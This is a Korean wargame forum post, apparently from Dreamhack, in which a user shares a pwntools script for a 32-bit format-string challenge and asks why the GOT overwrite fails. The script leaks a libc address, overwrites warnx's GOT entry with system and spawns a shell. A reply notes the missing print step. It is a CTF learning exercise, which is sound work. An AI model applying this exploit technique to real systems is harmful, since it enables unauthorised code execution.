익스코드 확인 부탁드립니다.
from pwn import *

#context.log_level = "debug"

r = remote("host3.dreamhack.games",  24119)
#r = process("/home/asdf/dreamhack/string/string")
libc = ELF("/home/asdf/dreamhack/string/libc.so.6")
e = ELF("/home/asdf/dreamhack/string/string")

system = libc.sym['system']
printf_got = e.got['printf']

def inp(input):
    r.sendlineafter(b"> ", b'1')
    r.sendafter(b": ", input)

def p():
    r.sendlineafter(b"> ", b'2')


#libc base
payload = p32(printf_got)
payload += b"%x%x%x%x%s"

inp(payload)
p()

lb = u32(r.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
libc_base = lb - libc.sym['printf']

print("libc base : ", hex(libc_base))

#got overwrite
system = system + libc_base
system1 = hex(system)[:6]
system2 = hex(system)[6:]

print("system : ", hex(system))

fsb = fmtstr_payload(5, {e.got['warnx'] : (libc.sym['system'] + libc_base)})

# fsb = p32(e.got['warnx'])
# fsb += p32(e.got['warnx'] + 2)
# fsb += "%{}c%5$hn".format(int(system2, 16)-4).encode()
# fsb += "%{}c%6$hn".format(int(system1, 16)-int(system2, 16)).encode()

inp(fsb) #got overwrite

inp(b"/bin/sh" + b"\x00")
p()

r.interactive()

gdb로 확인해본 결과 got이 덮히지가 않습니다.
무슨 이유인지는 모르겠어요
혹시나 fmtstr_payload의 문제일 수도 있어서
수동으로도 해봤는데 똑같이 got이 덮히지 않네요ㅠㅠ
아주 조금의 힌트라도 부탁드립니다.

일단 저의 시나리오는 fsb로 libc base를 구하고
warnx의 got을 system함수로 덮은뒤
input함수에서 buf에 "/bin/sh" 를 넣어준뒤
print함수에서 wanrx(buf)를 할 때
최종적으로 system("/bin/sh")를 실행하려고 합니다.

#pwnable
작성자 정보
답변 1
avatar
wyv3rn
무플 방지 위원회장

페이로드 삽입 후 print 명령을 실행하시지 않아서 삽입되지 않은.... ㅎㅎ;;
시나리오는 완벽합니다.

2022.10.17. 19:52
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기